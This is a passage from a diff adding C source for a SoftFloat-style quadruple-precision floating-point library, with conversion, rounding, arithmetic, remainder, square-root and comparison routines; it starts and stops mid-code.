`a' is a NaN, the largest positive integer is returned. Otherwise, if +| the conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int64 float128_to_int64_round_to_zero( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig0, aSig1; + int64 z; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( aExp ) aSig0 |= LIT64( 0x0001000000000000 ); + shiftCount = aExp - 0x402F; + if ( 0 < shiftCount ) { + if ( 0x403E <= aExp ) { + aSig0 &= LIT64( 0x0000FFFFFFFFFFFF ); + if ( ( a.high == LIT64( 0xC03E000000000000 ) ) + && ( aSig1 < LIT64( 0x0002000000000000 ) ) ) { + if ( aSig1 ) STATUS(float_exception_flags) |= float_flag_inexact; + } + else { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign || ( ( aExp == 0x7FFF ) && ( aSig0 | aSig1 ) ) ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + z = ( aSig0<<shiftCount ) | ( aSig1>>( ( - shiftCount ) & 63 ) ); + if ( (uint64_t) ( aSig1<<shiftCount ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + } + else { + if ( aExp < 0x3FFF ) { + if ( aExp | aSig0 | aSig1 ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return 0; + } + z = aSig0>>( - shiftCount ); + if ( aSig1 + || ( shiftCount && (uint64_t) ( aSig0<<( shiftCount & 63 ) ) ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + } + if ( aSign ) z = - z; + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point +| value `a' to the single-precision floating-point format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float128_to_float32( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp; + uint64_t aSig0, aSig1; + uint32_t zSig; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) { + return commonNaNToFloat32( float128ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + } + return packFloat32( aSign, 0xFF, 0 ); + } + aSig0 |= ( aSig1 != 0 ); + shift64RightJamming( aSig0, 18, &aSig0 ); + zSig = (uint32_t)aSig0; + if ( aExp || zSig ) { + zSig |= 0x40000000; + aExp -= 0x3F81; + } + return roundAndPackFloat32( aSign, aExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point +| value `a' to the double-precision floating-point format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float128_to_float64( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp; + uint64_t aSig0, aSig1; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) { + return commonNaNToFloat64( float128ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + } + return packFloat64( aSign, 0x7FF, 0 ); + } + shortShift128Left( aSig0, aSig1, 14, &aSig0, &aSig1 ); + aSig0 |= ( aSig1 != 0 ); + if ( aExp || aSig0 ) { + aSig0 |= LIT64( 0x4000000000000000 ); + aExp -= 0x3C01; + } + return roundAndPackFloat64( aSign, aExp, aSig0 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point +| value `a' to the extended double-precision floating-point format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 float128_to_floatx80( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp; + uint64_t aSig0, aSig1; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) { + return commonNaNToFloatx80( float128ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + } + return packFloatx80( aSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( aExp == 0 ) { + if ( ( aSig0 | aSig1 ) == 0 ) return packFloatx80( aSign, 0, 0 ); + normalizeFloat128Subnormal( aSig0, aSig1, &aExp, &aSig0, &aSig1 ); + } + else { + aSig0 |= LIT64( 0x0001000000000000 ); + } + shortShift128Left( aSig0, aSig1, 15, &aSig0, &aSig1 ); + return roundAndPackFloatx80( 80, aSign, aExp, aSig0, aSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Rounds the quadruple-precision floating-point value `a' to an integer, and +| returns the result as a quadruple-precision floating-point value. The +| operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float128_round_to_int( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp; + uint64_t lastBitMask, roundBitsMask; + float128 z; + + aExp = extractFloat128Exp( a ); + if ( 0x402F <= aExp ) { + if ( 0x406F <= aExp ) { + if ( ( aExp == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) + ) { + return propagateFloat128NaN( a, a STATUS_VAR ); + } + return a; + } + lastBitMask = 1; + lastBitMask = ( lastBitMask<<( 0x406E - aExp ) )<<1; + roundBitsMask = lastBitMask - 1; + z = a; + switch (STATUS(float_rounding_mode)) { + case float_round_nearest_even: + if ( lastBitMask ) { + add128( z.high, z.low, 0, lastBitMask>>1, &z.high, &z.low ); + if ( ( z.low & roundBitsMask ) == 0 ) z.low &= ~ lastBitMask; + } + else { + if ( (int64_t) z.low < 0 ) { + ++z.high; + if ( (uint64_t) ( z.low<<1 ) == 0 ) z.high &= ~1; + } + } + break; + case float_round_ties_away: + if (lastBitMask) { + add128(z.high, z.low, 0, lastBitMask >> 1, &z.high, &z.low); + } else { + if ((int64_t) z.low < 0) { + ++z.high; + } + } + break; + case float_round_to_zero: + break; + case float_round_up: + if (!extractFloat128Sign(z)) { + add128(z.high, z.low, 0, roundBitsMask, &z.high, &z.low); + } + break; + case float_round_down: + if (extractFloat128Sign(z)) { + add128(z.high, z.low, 0, roundBitsMask, &z.high, &z.low); + } + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + z.low &= ~ roundBitsMask; + } + else { + if ( aExp < 0x3FFF ) { + if ( ( ( (uint64_t) ( a.high<<1 ) ) | a.low ) == 0 ) return a; + STATUS(float_exception_flags) |= float_flag_inexact; + aSign = extractFloat128Sign( a ); + switch ( STATUS(float_rounding_mode) ) { + case float_round_nearest_even: + if ( ( aExp == 0x3FFE ) + && ( extractFloat128Frac0( a ) + | extractFloat128Frac1( a ) ) + ) { + return packFloat128( aSign, 0x3FFF, 0, 0 ); + } + break; + case float_round_ties_away: + if (aExp == 0x3FFE) { + return packFloat128(aSign, 0x3FFF, 0, 0); + } + break; + case float_round_down: + return + aSign ? packFloat128( 1, 0x3FFF, 0, 0 ) + : packFloat128( 0, 0, 0, 0 ); + case float_round_up: + return + aSign ? packFloat128( 1, 0, 0, 0 ) + : packFloat128( 0, 0x3FFF, 0, 0 ); + } + return packFloat128( aSign, 0, 0, 0 ); + } + lastBitMask = 1; + lastBitMask <<= 0x402F - aExp; + roundBitsMask = lastBitMask - 1; + z.low = 0; + z.high = a.high; + switch (STATUS(float_rounding_mode)) { + case float_round_nearest_even: + z.high += lastBitMask>>1; + if ( ( ( z.high & roundBitsMask ) | a.low ) == 0 ) { + z.high &= ~ lastBitMask; + } + break; + case float_round_ties_away: + z.high += lastBitMask>>1; + break; + case float_round_to_zero: + break; + case float_round_up: + if (!extractFloat128Sign(z)) { + z.high |= ( a.low != 0 ); + z.high += roundBitsMask; + } + break; + case float_round_down: + if (extractFloat128Sign(z)) { + z.high |= (a.low != 0); + z.high += roundBitsMask; + } + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + z.high &= ~ roundBitsMask; + } + if ( ( z.low != a.low ) || ( z.high != a.high ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the absolute values of the quadruple-precision +| floating-point values `a' and `b'. If `zSign' is 1, the sum is negated +| before being returned. `zSign' is ignored if the result is a NaN. +| The addition is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float128 addFloat128Sigs( float128 a, float128 b, flag zSign STATUS_PARAM) +{ + int32 aExp, bExp, zExp; + uint64_t aSig0, aSig1, bSig0, bSig1, zSig0, zSig1, zSig2; + int32 expDiff; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + bSig1 = extractFloat128Frac1( b ); + bSig0 = extractFloat128Frac0( b ); + bExp = extractFloat128Exp( b ); + expDiff = aExp - bExp; + if ( 0 < expDiff ) { + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + --expDiff; + } + else { + bSig0 |= LIT64( 0x0001000000000000 ); + } + shift128ExtraRightJamming( + bSig0, bSig1, 0, expDiff, &bSig0, &bSig1, &zSig2 ); + zExp = aExp; + } + else if ( expDiff < 0 ) { + if ( bExp == 0x7FFF ) { + if ( bSig0 | bSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + return packFloat128( zSign, 0x7FFF, 0, 0 ); + } + if ( aExp == 0 ) { + ++expDiff; + } + else { + aSig0 |= LIT64( 0x0001000000000000 ); + } + shift128ExtraRightJamming( + aSig0, aSig1, 0, - expDiff, &aSig0, &aSig1, &zSig2 ); + zExp = bExp; + } + else { + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 | bSig0 | bSig1 ) { + return propagateFloat128NaN( a, b STATUS_VAR ); + } + return a; + } + add128( aSig0, aSig1, bSig0, bSig1, &zSig0, &zSig1 ); + if ( aExp == 0 ) { + if (STATUS(flush_to_zero)) { + if (zSig0 | zSig1) { + float_raise(float_flag_output_denormal STATUS_VAR); + } + return packFloat128(zSign, 0, 0, 0); + } + return packFloat128( zSign, 0, zSig0, zSig1 ); + } + zSig2 = 0; + zSig0 |= LIT64( 0x0002000000000000 ); + zExp = aExp; + goto shiftRight1; + } + aSig0 |= LIT64( 0x0001000000000000 ); + add128( aSig0, aSig1, bSig0, bSig1, &zSig0, &zSig1 ); + --zExp; + if ( zSig0 < LIT64( 0x0002000000000000 ) ) goto roundAndPack; + ++zExp; + shiftRight1: + shift128ExtraRightJamming( + zSig0, zSig1, zSig2, 1, &zSig0, &zSig1, &zSig2 ); + roundAndPack: + return roundAndPackFloat128( zSign, zExp, zSig0, zSig1, zSig2 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the absolute values of the quadruple- +| precision floating-point values `a' and `b'. If `zSign' is 1, the +| difference is negated before being returned. `zSign' is ignored if the +| result is a NaN. The subtraction is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float128 subFloat128Sigs( float128 a, float128 b, flag zSign STATUS_PARAM) +{ + int32 aExp, bExp, zExp; + uint64_t aSig0, aSig1, bSig0, bSig1, zSig0, zSig1; + int32 expDiff; + float128 z; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + bSig1 = extractFloat128Frac1( b ); + bSig0 = extractFloat128Frac0( b ); + bExp = extractFloat128Exp( b ); + expDiff = aExp - bExp; + shortShift128Left( aSig0, aSig1, 14, &aSig0, &aSig1 ); + shortShift128Left( bSig0, bSig1, 14, &bSig0, &bSig1 ); + if ( 0 < expDiff ) goto aExpBigger; + if ( expDiff < 0 ) goto bExpBigger; + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 | bSig0 | bSig1 ) { + return propagateFloat128NaN( a, b STATUS_VAR ); + } + float_raise( float_flag_invalid STATUS_VAR); + z.low = float128_default_nan_low; + z.high = float128_default_nan_high; + return z; + } + if ( aExp == 0 ) { + aExp = 1; + bExp = 1; + } + if ( bSig0 < aSig0 ) goto aBigger; + if ( aSig0 < bSig0 ) goto bBigger; + if ( bSig1 < aSig1 ) goto aBigger; + if ( aSig1 < bSig1 ) goto bBigger; + return packFloat128( STATUS(float_rounding_mode) == float_round_down, 0, 0, 0 ); + bExpBigger: + if ( bExp == 0x7FFF ) { + if ( bSig0 | bSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + return packFloat128( zSign ^ 1, 0x7FFF, 0, 0 ); + } + if ( aExp == 0 ) { + ++expDiff; + } + else { + aSig0 |= LIT64( 0x4000000000000000 ); + } + shift128RightJamming( aSig0, aSig1, - expDiff, &aSig0, &aSig1 ); + bSig0 |= LIT64( 0x4000000000000000 ); + bBigger: + sub128( bSig0, bSig1, aSig0, aSig1, &zSig0, &zSig1 ); + zExp = bExp; + zSign ^= 1; + goto normalizeRoundAndPack; + aExpBigger: + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + --expDiff; + } + else { + bSig0 |= LIT64( 0x4000000000000000 ); + } + shift128RightJamming( bSig0, bSig1, expDiff, &bSig0, &bSig1 ); + aSig0 |= LIT64( 0x4000000000000000 ); + aBigger: + sub128( aSig0, aSig1, bSig0, bSig1, &zSig0, &zSig1 ); + zExp = aExp; + normalizeRoundAndPack: + --zExp; + return normalizeRoundAndPackFloat128( zSign, zExp - 14, zSig0, zSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the quadruple-precision floating-point values +| `a' and `b'. The operation is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float128_add( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign; + + aSign = extractFloat128Sign( a ); + bSign = extractFloat128Sign( b ); + if ( aSign == bSign ) { + return addFloat128Sigs( a, b, aSign STATUS_VAR ); + } + else { + return subFloat128Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the quadruple-precision floating-point +| values `a' and `b'. The operation is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float128_sub( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign; + + aSign = extractFloat128Sign( a ); + bSign = extractFloat128Sign( b ); + if ( aSign == bSign ) { + return subFloat128Sigs( a, b, aSign STATUS_VAR ); + } + else { + return addFloat128Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of multiplying the quadruple-precision floating-point +| values `a' and `b'. The operation is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float128_mul( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int32 aExp, bExp, zExp; + uint64_t aSig0, aSig1, bSig0, bSig1, zSig0, zSig1, zSig2, zSig3; + float128 z; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + bSig1 = extractFloat128Frac1( b ); + bSig0 = extractFloat128Frac0( b ); + bExp = extractFloat128Exp( b ); + bSign = extractFloat128Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0x7FFF ) { + if ( ( aSig0 | aSig1 ) + || ( ( bExp == 0x7FFF ) && ( bSig0 | bSig1 ) ) ) { + return propagateFloat128NaN( a, b STATUS_VAR ); + } + if ( ( bExp | bSig0 | bSig1 ) == 0 ) goto invalid; + return packFloat128( zSign, 0x7FFF, 0, 0 ); + } + if ( bExp == 0x7FFF ) { + if ( bSig0 | bSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + if ( ( aExp | aSig0 | aSig1 ) == 0 ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = float128_default_nan_low; + z.high = float128_default_nan_high; + return z; + } + return packFloat128( zSign, 0x7FFF, 0, 0 ); + } + if ( aExp == 0 ) { + if ( ( aSig0 | aSig1 ) == 0 ) return packFloat128( zSign, 0, 0, 0 ); + normalizeFloat128Subnormal( aSig0, aSig1, &aExp, &aSig0, &aSig1 ); + } + if ( bExp == 0 ) { + if ( ( bSig0 | bSig1 ) == 0 ) return packFloat128( zSign, 0, 0, 0 ); + normalizeFloat128Subnormal( bSig0, bSig1, &bExp, &bSig0, &bSig1 ); + } + zExp = aExp + bExp - 0x4000; + aSig0 |= LIT64( 0x0001000000000000 ); + shortShift128Left( bSig0, bSig1, 16, &bSig0, &bSig1 ); + mul128To256( aSig0, aSig1, bSig0, bSig1, &zSig0, &zSig1, &zSig2, &zSig3 ); + add128( zSig0, zSig1, aSig0, aSig1, &zSig0, &zSig1 ); + zSig2 |= ( zSig3 != 0 ); + if ( LIT64( 0x0002000000000000 ) <= zSig0 ) { + shift128ExtraRightJamming( + zSig0, zSig1, zSig2, 1, &zSig0, &zSig1, &zSig2 ); + ++zExp; + } + return roundAndPackFloat128( zSign, zExp, zSig0, zSig1, zSig2 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of dividing the quadruple-precision floating-point value +| `a' by the corresponding value `b'. The operation is performed according to +| the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float128_div( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int32 aExp, bExp, zExp; + uint64_t aSig0, aSig1, bSig0, bSig1, zSig0, zSig1, zSig2; + uint64_t rem0, rem1, rem2, rem3, term0, term1, term2, term3; + float128 z; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + bSig1 = extractFloat128Frac1( b ); + bSig0 = extractFloat128Frac0( b ); + bExp = extractFloat128Exp( b ); + bSign = extractFloat128Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + if ( bExp == 0x7FFF ) { + if ( bSig0 | bSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + goto invalid; + } + return packFloat128( zSign, 0x7FFF, 0, 0 ); + } + if ( bExp == 0x7FFF ) { + if ( bSig0 | bSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + return packFloat128( zSign, 0, 0, 0 ); + } + if ( bExp == 0 ) { + if ( ( bSig0 | bSig1 ) == 0 ) { + if ( ( aExp | aSig0 | aSig1 ) == 0 ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = float128_default_nan_low; + z.high = float128_default_nan_high; + return z; + } + float_raise( float_flag_divbyzero STATUS_VAR); + return packFloat128( zSign, 0x7FFF, 0, 0 ); + } + normalizeFloat128Subnormal( bSig0, bSig1, &bExp, &bSig0, &bSig1 ); + } + if ( aExp == 0 ) { + if ( ( aSig0 | aSig1 ) == 0 ) return packFloat128( zSign, 0, 0, 0 ); + normalizeFloat128Subnormal( aSig0, aSig1, &aExp, &aSig0, &aSig1 ); + } + zExp = aExp - bExp + 0x3FFD; + shortShift128Left( + aSig0 | LIT64( 0x0001000000000000 ), aSig1, 15, &aSig0, &aSig1 ); + shortShift128Left( + bSig0 | LIT64( 0x0001000000000000 ), bSig1, 15, &bSig0, &bSig1 ); + if ( le128( bSig0, bSig1, aSig0, aSig1 ) ) { + shift128Right( aSig0, aSig1, 1, &aSig0, &aSig1 ); + ++zExp; + } + zSig0 = estimateDiv128To64( aSig0, aSig1, bSig0 ); + mul128By64To192( bSig0, bSig1, zSig0, &term0, &term1, &term2 ); + sub192( aSig0, aSig1, 0, term0, term1, term2, &rem0, &rem1, &rem2 ); + while ( (int64_t) rem0 < 0 ) { + --zSig0; + add192( rem0, rem1, rem2, 0, bSig0, bSig1, &rem0, &rem1, &rem2 ); + } + zSig1 = estimateDiv128To64( rem1, rem2, bSig0 ); + if ( ( zSig1 & 0x3FFF ) <= 4 ) { + mul128By64To192( bSig0, bSig1, zSig1, &term1, &term2, &term3 ); + sub192( rem1, rem2, 0, term1, term2, term3, &rem1, &rem2, &rem3 ); + while ( (int64_t) rem1 < 0 ) { + --zSig1; + add192( rem1, rem2, rem3, 0, bSig0, bSig1, &rem1, &rem2, &rem3 ); + } + zSig1 |= ( ( rem1 | rem2 | rem3 ) != 0 ); + } + shift128ExtraRightJamming( zSig0, zSig1, 0, 15, &zSig0, &zSig1, &zSig2 ); + return roundAndPackFloat128( zSign, zExp, zSig0, zSig1, zSig2 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the remainder of the quadruple-precision floating-point value `a' +| with respect to the corresponding value `b'. The operation is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float128_rem( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, zSign; + int32 aExp, bExp, expDiff; + uint64_t aSig0, aSig1, bSig0, bSig1, q, term0, term1, term2; + uint64_t allZero, alternateASig0, alternateASig1, sigMean1; + int64_t sigMean0; + float128 z; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + bSig1 = extractFloat128Frac1( b ); + bSig0 = extractFloat128Frac0( b ); + bExp = extractFloat128Exp( b ); + if ( aExp == 0x7FFF ) { + if ( ( aSig0 | aSig1 ) + || ( ( bExp == 0x7FFF ) && ( bSig0 | bSig1 ) ) ) { + return propagateFloat128NaN( a, b STATUS_VAR ); + } + goto invalid; + } + if ( bExp == 0x7FFF ) { + if ( bSig0 | bSig1 ) return propagateFloat128NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + if ( ( bSig0 | bSig1 ) == 0 ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = float128_default_nan_low; + z.high = float128_default_nan_high; + return z; + } + normalizeFloat128Subnormal( bSig0, bSig1, &bExp, &bSig0, &bSig1 ); + } + if ( aExp == 0 ) { + if ( ( aSig0 | aSig1 ) == 0 ) return a; + normalizeFloat128Subnormal( aSig0, aSig1, &aExp, &aSig0, &aSig1 ); + } + expDiff = aExp - bExp; + if ( expDiff < -1 ) return a; + shortShift128Left( + aSig0 | LIT64( 0x0001000000000000 ), + aSig1, + 15 - ( expDiff < 0 ), + &aSig0, + &aSig1 + ); + shortShift128Left( + bSig0 | LIT64( 0x0001000000000000 ), bSig1, 15, &bSig0, &bSig1 ); + q = le128( bSig0, bSig1, aSig0, aSig1 ); + if ( q ) sub128( aSig0, aSig1, bSig0, bSig1, &aSig0, &aSig1 ); + expDiff -= 64; + while ( 0 < expDiff ) { + q = estimateDiv128To64( aSig0, aSig1, bSig0 ); + q = ( 4 < q ) ? q - 4 : 0; + mul128By64To192( bSig0, bSig1, q, &term0, &term1, &term2 ); + shortShift192Left( term0, term1, term2, 61, &term1, &term2, &allZero ); + shortShift128Left( aSig0, aSig1, 61, &aSig0, &allZero ); + sub128( aSig0, 0, term1, term2, &aSig0, &aSig1 ); + expDiff -= 61; + } + if ( -64 < expDiff ) { + q = estimateDiv128To64( aSig0, aSig1, bSig0 ); + q = ( 4 < q ) ? q - 4 : 0; + q >>= - expDiff; + shift128Right( bSig0, bSig1, 12, &bSig0, &bSig1 ); + expDiff += 52; + if ( expDiff < 0 ) { + shift128Right( aSig0, aSig1, - expDiff, &aSig0, &aSig1 ); + } + else { + shortShift128Left( aSig0, aSig1, expDiff, &aSig0, &aSig1 ); + } + mul128By64To192( bSig0, bSig1, q, &term0, &term1, &term2 ); + sub128( aSig0, aSig1, term1, term2, &aSig0, &aSig1 ); + } + else { + shift128Right( aSig0, aSig1, 12, &aSig0, &aSig1 ); + shift128Right( bSig0, bSig1, 12, &bSig0, &bSig1 ); + } + do { + alternateASig0 = aSig0; + alternateASig1 = aSig1; + ++q; + sub128( aSig0, aSig1, bSig0, bSig1, &aSig0, &aSig1 ); + } while ( 0 <= (int64_t) aSig0 ); + add128( + aSig0, aSig1, alternateASig0, alternateASig1, (uint64_t *)&sigMean0, &sigMean1 ); + if ( ( sigMean0 < 0 ) + || ( ( ( sigMean0 | sigMean1 ) == 0 ) && ( q & 1 ) ) ) { + aSig0 = alternateASig0; + aSig1 = alternateASig1; + } + zSign = ( (int64_t) aSig0 < 0 ); + if ( zSign ) sub128( 0, 0, aSig0, aSig1, &aSig0, &aSig1 ); + return + normalizeRoundAndPackFloat128( aSign ^ zSign, bExp - 4, aSig0, aSig1 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the square root of the quadruple-precision floating-point value `a'. +| The operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float128_sqrt( float128 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, zExp; + uint64_t aSig0, aSig1, zSig0, zSig1, zSig2, doubleZSig0; + uint64_t rem0, rem1, rem2, rem3, term0, term1, term2, term3; + float128 z; + + aSig1 = extractFloat128Frac1( a ); + aSig0 = extractFloat128Frac0( a ); + aExp = extractFloat128Exp( a ); + aSign = extractFloat128Sign( a ); + if ( aExp == 0x7FFF ) { + if ( aSig0 | aSig1 ) return propagateFloat128NaN( a, a STATUS_VAR ); + if ( ! aSign ) return a; + goto invalid; + } + if ( aSign ) { + if ( ( aExp | aSig0 | aSig1 ) == 0 ) return a; + invalid: + float_raise( float_flag_invalid STATUS_VAR); + z.low = float128_default_nan_low; + z.high = float128_default_nan_high; + return z; + } + if ( aExp == 0 ) { + if ( ( aSig0 | aSig1 ) == 0 ) return packFloat128( 0, 0, 0, 0 ); + normalizeFloat128Subnormal( aSig0, aSig1, &aExp, &aSig0, &aSig1 ); + } + zExp = ( ( aExp - 0x3FFF )>>1 ) + 0x3FFE; + aSig0 |= LIT64( 0x0001000000000000 ); + zSig0 = estimateSqrt32( aExp, (uint32_t)(aSig0>>17) ); + shortShift128Left( aSig0, aSig1, 13 - ( aExp & 1 ), &aSig0, &aSig1 ); + zSig0 = estimateDiv128To64( aSig0, aSig1, zSig0<<32 ) + ( zSig0<<30 ); + doubleZSig0 = zSig0<<1; + mul64To128( zSig0, zSig0, &term0, &term1 ); + sub128( aSig0, aSig1, term0, term1, &rem0, &rem1 ); + while ( (int64_t) rem0 < 0 ) { + --zSig0; + doubleZSig0 -= 2; + add128( rem0, rem1, zSig0>>63, doubleZSig0 | 1, &rem0, &rem1 ); + } + zSig1 = estimateDiv128To64( rem1, 0, doubleZSig0 ); + if ( ( zSig1 & 0x1FFF ) <= 5 ) { + if ( zSig1 == 0 ) zSig1 = 1; + mul64To128( doubleZSig0, zSig1, &term1, &term2 ); + sub128( rem1, 0, term1, term2, &rem1, &rem2 ); + mul64To128( zSig1, zSig1, &term2, &term3 ); + sub192( rem1, rem2, 0, 0, term2, term3, &rem1, &rem2, &rem3 ); + while ( (int64_t) rem1 < 0 ) { + --zSig1; + shortShift128Left( 0, zSig1, 1, &term2, &term3 ); + term3 |= 1; + term2 |= doubleZSig0; + add192( rem1, rem2, rem3, 0, term2, term3, &rem1, &rem2, &rem3 ); + } + zSig1 |= ( ( rem1 | rem2 | rem3 ) != 0 ); + } + shift128ExtraRightJamming( zSig0, zSig1, 0, 14, &zSig0, &zSig1, &zSig2 ); + return roundAndPackFloat128( 0, zExp, zSig0, zSig1, zSig2 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is equal to +| the corresponding value `b', and 0 otherwise. The invalid exception is +| raised if either operand is a NaN. Otherwise, the comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_eq( float128 a, float128 b STATUS_PARAM ) +{ + + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + return + ( a.low == b.low ) + && ( ( a.high == b.high ) + || ( ( a.low == 0 ) + && ( (uint64_t) ( ( a.high | b.high )<<1 ) == 0 ) ) + ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is less than +| or equal to the corresponding value `b', and 0 otherwise. The invalid +| exception is raised if either operand is a NaN. The comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float128_le( float128 a, float128 b STATUS_PARAM ) +{ + flag aSign, bSign; + + if ( ( ( extractFloat128Exp( a ) == 0x7FFF ) + && ( extractFloat128Frac0( a ) | extractFloat128Frac1( a ) ) ) + || ( ( extractFloat128Exp( b ) == 0x7FFF ) + && ( extractFloat128Frac0( b ) | extractFloat128Frac1( b ) ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign 